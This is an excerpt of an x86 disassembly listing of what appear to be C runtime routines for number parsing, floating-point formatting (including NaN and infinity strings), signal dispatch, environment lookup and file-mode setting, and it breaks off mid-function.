loc_41F5DC: ; CODE XREF: sub_41F407+1C5j
test eax, eax
jz short loc_41F5FC
cmp [ebp+var_4], 19h
jnb short loc_41F5F7
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_41F5F7: ; CODE XREF: sub_41F407+1DDj
mov bl, [edi]
inc edi
jmp short loc_41F5B5
; ---------------------------------------------------------------------------
loc_41F5FC: ; CODE XREF: sub_41F407+18Cj
; sub_41F407+1D7j
cmp bl, 2Bh
jz loc_41F50F
cmp bl, 2Dh
jz loc_41F50F
jmp loc_41F4E8
; ---------------------------------------------------------------------------
loc_41F613: ; CODE XREF: sub_41F407+63j
; DATA XREF: .text:off_41F8A8o
cmp dword_4385FC, edx ; jumptable 0041F46A case 5
mov [ebp+var_24], edx
jle short loc_41F62F
movzx eax, bl
push esi
push eax
call sub_418576
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41F63D
; ---------------------------------------------------------------------------
loc_41F62F: ; CODE XREF: sub_41F407+215j
mov ecx, off_4383F0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41F63D: ; CODE XREF: sub_41F407+226j
test eax, eax
jz loc_41F6EF
mov eax, esi
jmp short loc_41F6A0
; ---------------------------------------------------------------------------
loc_41F649: ; CODE XREF: sub_41F407+63j
; DATA XREF: .text:off_41F8A8o
lea ecx, [edi-2] ; jumptable 0041F46A case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_41F659
cmp bl, 39h
jle short loc_41F69D
loc_41F659: ; CODE XREF: sub_41F407+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_41F6D5
dec eax
dec eax
jz short loc_41F6C9
sub eax, 3
jnz loc_41F77D
loc_41F66E: ; CODE XREF: sub_41F407+2A4j
push 8
jmp short loc_41F6D7
; ---------------------------------------------------------------------------
loc_41F672: ; CODE XREF: sub_41F407+63j
; DATA XREF: .text:off_41F8A8o
mov [ebp+var_20], edx ; jumptable 0041F46A case 8
loc_41F675: ; CODE XREF: sub_41F407+276j
cmp bl, 30h
jnz short loc_41F67F
mov bl, [edi]
inc edi
jmp short loc_41F675
; ---------------------------------------------------------------------------
loc_41F67F: ; CODE XREF: sub_41F407+271j
cmp bl, 31h
jl loc_41F77A
cmp bl, 39h
jg loc_41F77A
jmp short loc_41F69D
; ---------------------------------------------------------------------------
loc_41F693: ; CODE XREF: sub_41F407+63j
; DATA XREF: .text:off_41F8A8o
cmp bl, 31h ; jumptable 0041F46A case 7
jl short loc_41F6A6
cmp bl, 39h
jg short loc_41F6A6
loc_41F69D: ; CODE XREF: sub_41F407+250j
; sub_41F407+28Aj
push 9
loc_41F69F: ; CODE XREF: sub_41F407+76j
pop eax
loc_41F6A0: ; CODE XREF: sub_41F407+240j
dec edi
jmp loc_41F45E
; ---------------------------------------------------------------------------
loc_41F6A6: ; CODE XREF: sub_41F407+28Fj
; sub_41F407+294j
cmp bl, 30h
jnz short loc_41F6EF
jmp short loc_41F66E
; ---------------------------------------------------------------------------
loc_41F6AD: ; CODE XREF: sub_41F407+63j
; DATA XREF: .text:off_41F8A8o
cmp [ebp+arg_18], 0 ; jumptable 0041F46A case 11
jz short loc_41F6DD
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_41F6D5
dec eax
dec eax
jnz loc_41F77D
loc_41F6C9: ; CODE XREF: sub_41F407+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_41F45E
; ---------------------------------------------------------------------------
loc_41F6D5: ; CODE XREF: sub_41F407+258j
; sub_41F407+2B8j
push 7
loc_41F6D7: ; CODE XREF: sub_41F407+85j
; sub_41F407+103j ...
pop eax
jmp loc_41F45E
; ---------------------------------------------------------------------------
loc_41F6DD: ; CODE XREF: sub_41F407+2AAj
push 0Ah
dec edi
pop eax
loc_41F6E1: ; CODE XREF: sub_41F407+5Dj
; sub_41F407+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 0041F46A case 10
jz loc_41F77F
jmp loc_41F45E
; ---------------------------------------------------------------------------
loc_41F6EF: ; CODE XREF: sub_41F407+12Dj
; sub_41F407+238j ...
mov edi, [ebp+arg_8]
jmp loc_41F77F
; ---------------------------------------------------------------------------
loc_41F6F7: ; CODE XREF: sub_41F407+63j
; DATA XREF: .text:off_41F8A8o
mov [ebp+var_20], 1 ; jumptable 0041F46A case 9
xor esi, esi
loc_41F700: ; CODE XREF: sub_41F407+339j
cmp dword_4385FC, 1
jle short loc_41F718
movzx eax, bl
push 4
push eax
call sub_418576
pop ecx
pop ecx
jmp short loc_41F727
; ---------------------------------------------------------------------------
loc_41F718: ; CODE XREF: sub_41F407+300j
mov ecx, off_4383F0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41F727: ; CODE XREF: sub_41F407+30Fj
test eax, eax
jz short loc_41F747
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_41F742
mov bl, [edi]
inc edi
jmp short loc_41F700
; ---------------------------------------------------------------------------
loc_41F742: ; CODE XREF: sub_41F407+334j
mov esi, 1451h
loc_41F747: ; CODE XREF: sub_41F407+322j
mov [ebp+var_1C], esi
loc_41F74A: ; CODE XREF: sub_41F407+371j
cmp dword_4385FC, 1
jle short loc_41F762
movzx eax, bl
push 4
push eax
call sub_418576
pop ecx
pop ecx
jmp short loc_41F771
; ---------------------------------------------------------------------------
loc_41F762: ; CODE XREF: sub_41F407+34Aj
mov ecx, off_4383F0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41F771: ; CODE XREF: sub_41F407+359j
test eax, eax
jz short loc_41F77A
mov bl, [edi]
inc edi
jmp short loc_41F74A
; ---------------------------------------------------------------------------
loc_41F77A: ; CODE XREF: sub_41F407+99j
; sub_41F407+E4j ...
dec edi
jmp short loc_41F77F
; ---------------------------------------------------------------------------
loc_41F77D: ; CODE XREF: sub_41F407+261j
; sub_41F407+2BCj
mov edi, ecx
loc_41F77F: ; CODE XREF: sub_41F407+2DDj
; sub_41F407+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_41F867
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_41F7AB
cmp [ebp+var_45], 5
jl short loc_41F79F
inc [ebp+var_45]
loc_41F79F: ; CODE XREF: sub_41F407+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_41F7AE
; ---------------------------------------------------------------------------
loc_41F7AB: ; CODE XREF: sub_41F407+38Dj
mov eax, [ebp+var_C]
loc_41F7AE: ; CODE XREF: sub_41F407+3A2j
cmp [ebp+var_4], 0
jbe loc_41F85D
loc_41F7B8: ; CODE XREF: sub_41F407+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_41F7C6
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_41F7B8
; ---------------------------------------------------------------------------
loc_41F7C6: ; CODE XREF: sub_41F407+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_41F340
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_41F7E5
neg eax
loc_41F7E5: ; CODE XREF: sub_41F407+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_41F7F0
add eax, [ebp+arg_10]
loc_41F7F0: ; CODE XREF: sub_41F407+3E4j
cmp [ebp+var_24], ecx
jnz short loc_41F7F8
sub eax, [ebp+arg_14]
loc_41F7F8: ; CODE XREF: sub_41F407+3ECj
cmp eax, 1450h
jle short loc_41F82F
mov [ebp+var_2C], 1
loc_41F806: ; CODE XREF: sub_41F407+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_41F812: ; CODE XREF: sub_41F407+454j
; sub_41F407+45Ej
cmp [ebp+var_2C], 0
jz short loc_41F878
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_41F88D
; ---------------------------------------------------------------------------
loc_41F82F: ; CODE XREF: sub_41F407+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_41F83F
mov [ebp+var_30], 1
jmp short loc_41F806
; ---------------------------------------------------------------------------
loc_41F83F: ; CODE XREF: sub_41F407+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_41FFF0
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_41F812
; ---------------------------------------------------------------------------
loc_41F85D: ; CODE XREF: sub_41F407+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_41F812
; ---------------------------------------------------------------------------
loc_41F867: ; CODE XREF: sub_41F407+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_41F88D
; ---------------------------------------------------------------------------
loc_41F878: ; CODE XREF: sub_41F407+40Fj
cmp [ebp+var_30], 0
jz short loc_41F88D
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_41F88D: ; CODE XREF: sub_41F407+426j
; sub_41F407+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_41F407 endp
; ---------------------------------------------------------------------------
off_41F8A8 dd offset loc_41F471 ; DATA XREF: sub_41F407+63r
dd offset loc_41F4C0 ; jump table for switch statement
dd offset loc_41F517
dd offset loc_41F541
dd offset loc_41F59C
dd offset loc_41F613
dd offset loc_41F649
dd offset loc_41F693
dd offset loc_41F672
dd offset loc_41F6F7
dd offset loc_41F6E1
dd offset loc_41F6AD
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F8D8 proc near ; CODE XREF: sub_41E67B+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_41F93A
mov byte ptr [ebx+2], 2Dh
jmp short loc_41F93E
; ---------------------------------------------------------------------------
loc_41F93A: ; CODE XREF: sub_41F8D8+5Aj
mov byte ptr [ebx+2], 20h
loc_41F93E: ; CODE XREF: sub_41F8D8+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_41F964
test edi, edi
jnz short loc_41F964
cmp [ebp+arg_0], edi
jnz short loc_41F964
loc_41F94F: ; CODE XREF: sub_41F8D8+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_41FB62
; ---------------------------------------------------------------------------
loc_41F964: ; CODE XREF: sub_41F8D8+6Cj
; sub_41F8D8+70j ...
cmp dx, si
jnz short loc_41F9E3
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_41F97D
cmp [ebp+arg_0], 0
jz short loc_41F98C
loc_41F97D: ; CODE XREF: sub_41F8D8+9Dj
test edi, 40000000h
jnz short loc_41F98C
push offset a1Snan ; "1#SNAN"
jmp short loc_41F9D2
; ---------------------------------------------------------------------------
loc_41F98C: ; CODE XREF: sub_41F8D8+A3j
; sub_41F8D8+ABj
test cx, cx
jz short loc_41F9A6
cmp edi, 0C0000000h
jnz short loc_41F9A6
cmp [ebp+arg_0], 0
jnz short loc_41F9CD
push offset a1Ind ; "1#IND"
jmp short loc_41F9B5
; ---------------------------------------------------------------------------
loc_41F9A6: ; CODE XREF: sub_41F8D8+B7j
; sub_41F8D8+BFj
cmp edi, eax
jnz short loc_41F9CD
cmp [ebp+arg_0], 0
jnz short loc_41F9CD
push offset a1Inf ; "1#INF"
loc_41F9B5: ; CODE XREF: sub_41F8D8+CCj
lea eax, [ebx+4]
push eax
call sub_415A20
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_41F9C4: ; CODE XREF: sub_41F8D8+109j
and [ebp+var_4], 0
jmp loc_41FB3B
; ---------------------------------------------------------------------------
loc_41F9CD: ; CODE XREF: sub_41F8D8+C5j
; sub_41F8D8+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_41F9D2: ; CODE XREF: sub_41F8D8+B2j
lea eax, [ebx+4]
push eax
call sub_415A20
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_41F9C4
; ---------------------------------------------------------------------------
loc_41F9E3: ; CODE XREF: sub_41F8D8+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_41FFF0
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_41FA44
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_41FDD0
pop ecx
pop ecx
loc_41FA44: ; CODE XREF: sub_41F8D8+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_41FA5E
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_41FA61
jmp loc_41F94F
; ---------------------------------------------------------------------------
loc_41FA5E: ; CODE XREF: sub_41F8D8+173j
mov edi, [ebp+arg_C]
loc_41FA61: ; CODE XREF: sub_41F8D8+17Fj
cmp edi, 15h
jle short loc_41FA69
push 15h
pop edi
loc_41FA69: ; CODE XREF: sub_41F8D8+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_41FA7F: ; CODE XREF: sub_41F8D8+1B4j
lea eax, [ebp+var_10]
push eax
call sub_41F2E5
dec [ebp+arg_14]
pop ecx
jnz short loc_41FA7F
test esi, esi
jge short loc_41FAA9
neg esi
and esi, 0FFh
jle short loc_41FAA9
loc_41FA9C: ; CODE XREF: sub_41F8D8+1CFj
lea eax, [ebp+var_10]
push eax
call sub_41F313
dec esi
pop ecx
jnz short loc_41FA9C
loc_41FAA9: ; CODE XREF: sub_41F8D8+1B8j
; sub_41F8D8+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_41FB06
mov [ebp+arg_C], ecx
loc_41FAB9: ; CODE XREF: sub_41F8D8+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_41F2E5
lea eax, [ebp+var_10]
push eax
call sub_41F2E5
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_41F287
lea eax, [ebp+var_10]
push eax
call sub_41F2E5
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_41FAB9
mov eax, [ebp+arg_14]
loc_41FB06: ; CODE XREF: sub_41F8D8+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_41FB43
loc_41FB13: ; CODE XREF: sub_41F8D8+248j
cmp eax, ecx
jb short loc_41FB26
cmp byte ptr [eax], 39h
jnz short loc_41FB22
mov byte ptr [eax], 30h
dec eax
jmp short loc_41FB13
; ---------------------------------------------------------------------------
loc_41FB22: ; CODE XREF: sub_41F8D8+242j
cmp eax, ecx
jnb short loc_41FB2A
loc_41FB26: ; CODE XREF: sub_41F8D8+23Dj
inc eax
inc word ptr [ebx]
loc_41FB2A: ; CODE XREF: sub_41F8D8+24Cj
inc byte ptr [eax]
loc_41FB2C: ; CODE XREF: sub_41F8D8+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_41FB3B: ; CODE XREF: sub_41F8D8+F0j
mov eax, [ebp+var_4]
loc_41FB3E: ; CODE XREF: sub_41F8D8+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41FB43: ; CODE XREF: sub_41F8D8+239j
; sub_41F8D8+275j
cmp eax, ecx
jb short loc_41FB53
cmp byte ptr [eax], 30h
jnz short loc_41FB4F
dec eax
jmp short loc_41FB43
; ---------------------------------------------------------------------------
loc_41FB4F: ; CODE XREF: sub_41F8D8+272j
cmp eax, ecx
jnb short loc_41FB2C
loc_41FB53: ; CODE XREF: sub_41F8D8+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_41FB62: ; CODE XREF: sub_41F8D8+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_41FB3E
sub_41F8D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FB6B proc near ; CODE XREF: sub_41B42C+342Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_41FBD2
dec eax
dec eax
jz short loc_41FBC3
sub eax, 4
jz short loc_41FBC3
sub eax, 3
jz short loc_41FBC3
sub eax, 4
jz short loc_41FBB6
sub eax, 6
jz short loc_41FBA9
dec eax
jz short loc_41FB9C
or eax, 0FFFFFFFFh
jmp loc_41FC94
; ---------------------------------------------------------------------------
loc_41FB9C: ; CODE XREF: sub_41FB6B+27j
mov esi, dword_46BDE4
mov eax, offset dword_46BDE4
jmp short loc_41FBDD
; ---------------------------------------------------------------------------
loc_41FBA9: ; CODE XREF: sub_41FB6B+24j
mov esi, dword_46BDE0
mov eax, offset dword_46BDE0
jmp short loc_41FBDD
; ---------------------------------------------------------------------------
loc_41FBB6: ; CODE XREF: sub_41FB6B+1Fj
mov esi, dword_46BDE8
mov eax, offset dword_46BDE8
jmp short loc_41FBDD
; ---------------------------------------------------------------------------
loc_41FBC3: ; CODE XREF: sub_41FB6B+10j
; sub_41FB6B+15j ...
push edi
call sub_41FC98
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_41FBDD
; ---------------------------------------------------------------------------
loc_41FBD2: ; CODE XREF: sub_41FB6B+Cj
mov esi, dword_46BDDC
mov eax, offset dword_46BDDC
loc_41FBDD: ; CODE XREF: sub_41FB6B+3Cj
; sub_41FB6B+49j ...
cmp esi, 1
jnz short loc_41FBE9
xor eax, eax
jmp loc_41FC94
; ---------------------------------------------------------------------------
loc_41FBE9: ; CODE XREF: sub_41FB6B+75j
test esi, esi
jnz short loc_41FBF4
push 3
call sub_417858
loc_41FBF4: ; CODE XREF: sub_41FB6B+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_41FC06
cmp edi, 0Bh
jz short loc_41FC06
cmp edi, 4
jnz short loc_41FC2C
loc_41FC06: ; CODE XREF: sub_41FB6B+8Fj
; sub_41FB6B+94j
mov ebx, dword_46BBB8
and dword_46BBB8, 0
cmp edi, ecx
jnz short loc_41FC5B
mov edx, dword_43AA6C
mov dword_43AA6C, 8Ch
mov [ebp+arg_0], edx
jmp short loc_41FC2F
; ---------------------------------------------------------------------------
loc_41FC2C: ; CODE XREF: sub_41FB6B+99j
mov ebx, [ebp+arg_0]
loc_41FC2F: ; CODE XREF: sub_41FB6B+BFj
cmp edi, ecx
jnz short loc_41FC5B
mov eax, dword_43AA60
mov ecx, dword_43AA64
add ecx, eax
cmp eax, ecx
jge short loc_41FC62
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43A9F0h[edx*4]
loc_41FC50: ; CODE XREF: sub_41FB6B+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_41FC50
jmp short loc_41FC62
; ---------------------------------------------------------------------------
loc_41FC5B: ; CODE XREF: sub_41FB6B+AAj
; sub_41FB6B+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_41FC70
loc_41FC62: ; CODE XREF: sub_41FB6B+D7j
; sub_41FB6B+EEj
push dword_43AA6C
push 8
call esi
pop ecx
pop ecx
jmp short loc_41FC7E
; ---------------------------------------------------------------------------
loc_41FC70: ; CODE XREF: sub_41FB6B+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_41FC7E
cmp edi, 4
jnz short loc_41FC91
loc_41FC7E: ; CODE XREF: sub_41FB6B+103j
; sub_41FB6B+10Cj
cmp edi, 8
mov dword_46BBB8, ebx
jnz short loc_41FC91
mov eax, [ebp+arg_0]
mov dword_43AA6C, eax
loc_41FC91: ; CODE XREF: sub_41FB6B+111j
; sub_41FB6B+11Cj
xor eax, eax
pop ebx
loc_41FC94: ; CODE XREF: sub_41FB6B+2Cj
; sub_41FB6B+79j
pop edi
pop esi
pop ebp
retn
sub_41FB6B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41FC98 proc near ; CODE XREF: sub_41FB6B+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43AA68
cmp dword_43A9EC, edx
push esi
mov eax, offset dword_43A9E8
jz short loc_41FCC6
lea esi, [ecx+ecx*2]
lea esi, ds:43A9E8h[esi*4]
loc_41FCBA: ; CODE XREF: sub_41FC98+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_41FCC6
cmp [eax+4], edx
jnz short loc_41FCBA
loc_41FCC6: ; CODE XREF: sub_41FC98+16j
; sub_41FC98+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43A9E8h[ecx*4]
cmp eax, ecx
jnb short loc_41FCDA
cmp [eax+4], edx
jz short locret_41FCDC
loc_41FCDA: ; CODE XREF: sub_41FC98+3Bj
xor eax, eax
locret_41FCDC: ; CODE XREF: sub_41FC98+40j
retn
sub_41FC98 endp
; =============== S U B R O U T I N E =======================================
sub_41FCDD proc near ; CODE XREF: sub_41EA02+23p
arg_0 = dword ptr 4
cmp dword_46D170, 0
push ebx
push esi
mov esi, dword_46BB2C
push edi
jz short loc_41FD54
test esi, esi
jnz short loc_41FD0E
cmp dword_46BB34, esi
jz short loc_41FD54
call sub_4200AB
test eax, eax
jnz short loc_41FD54
mov esi, dword_46BB2C
test esi, esi
jz short loc_41FD54
loc_41FD0E: ; CODE XREF: sub_41FCDD+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_41FD54
push ebx
call sub_415B10
pop ecx
mov edi, eax
loc_41FD1F: ; CODE XREF: sub_41FCDD+6Dj
mov eax, [esi]
test eax, eax
jz short loc_41FD54
push eax
call sub_415B10
cmp eax, edi
pop ecx
jbe short loc_41FD47
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_41FD47
push edi
push ebx
push eax
call sub_42006C
add esp, 0Ch
test eax, eax
jz short loc_41FD4C
loc_41FD47: ; CODE XREF: sub_41FCDD+51j
; sub_41FCDD+59j
add esi, 4
jmp short loc_41FD1F
; ---------------------------------------------------------------------------
loc_41FD4C: ; CODE XREF: sub_41FCDD+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_41FD56
; ---------------------------------------------------------------------------
loc_41FD54: ; CODE XREF: sub_41FCDD+10j
; sub_41FCDD+1Cj ...
xor eax, eax
loc_41FD56: ; CODE XREF: sub_41FCDD+75j
pop edi
pop esi
pop ebx
retn
sub_41FCDD endp
; =============== S U B R O U T I N E =======================================
sub_41FD5A proc near ; CODE XREF: sub_41F120+8Bp
; sub_41F120+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_46CF20
jnb short loc_41FDC1
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_46CE20[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_41FDC1
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_41FD9A
and cl, 7Fh
jmp short loc_41FDA7
; ---------------------------------------------------------------------------
loc_41FD9A: ; CODE XREF: sub_41FD5A+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_41FDB5
or cl, 80h
loc_41FDA7: ; CODE XREF: sub_41FD5A+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FDB5: ; CODE XREF: sub_41FD5A+48j
mov dword_46BB04, 16h
jmp short loc_41FDCB
; ---------------------------------------------------------------------------
loc_41FDC1: ; CODE XREF: sub_41FD5A+Bj
; sub_41FD5A+27j
mov dword_46BB04, 9
loc_41FDCB: ; CODE XREF: sub_41FD5A+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_41FD5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDD0 proc near ; CODE XREF: sub_41F8D8+165p
; sub_41FFF0+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_41FFD0
cmp cx, 7FFFh
jnb loc_41FFD0
cmp dx, 0BFFDh
ja loc_41FFD0
cmp dx, 3FBFh
ja short loc_41FE39
xor eax, eax
jmp short loc_41FE73
; ---------------------------------------------------------------------------
loc_41FE39: ; CODE XREF: sub_41FDD0+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_41FE5B
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_41FE5B
xor eax, eax
cmp [esi+4], eax
jnz short loc_41FE5D
cmp [esi], eax
jnz short loc_41FE5D
jmp loc_41FFCA
; ---------------------------------------------------------------------------
loc_41FE5B: ; CODE XREF: sub_41FDD0+71j
; sub_41FDD0+79j
xor eax, eax
loc_41FE5D: ; CODE XREF: sub_41FDD0+80j
; sub_41FDD0+84j
cmp cx, ax
jnz short loc_41FE80
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_41FE80
cmp [ebx+4], eax
jnz short loc_41FE80
cmp [ebx], eax
jnz short loc_41FE80
loc_41FE73: ; CODE XREF: sub_41FDD0+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_41FFEB
; ---------------------------------------------------------------------------
loc_41FE80: ; CODE XREF: sub_41FDD0+90j
; sub_41FDD0+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_41FE90: ; CODE XREF: sub_41FDD0+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_41FEE4
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_41FEAC: ; CODE XREF: sub_41FDD0+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_41F266
add esp, 0Ch
test eax, eax
jz short loc_41FED7
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_41FED7: ; CODE XREF: sub_41FDD0+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
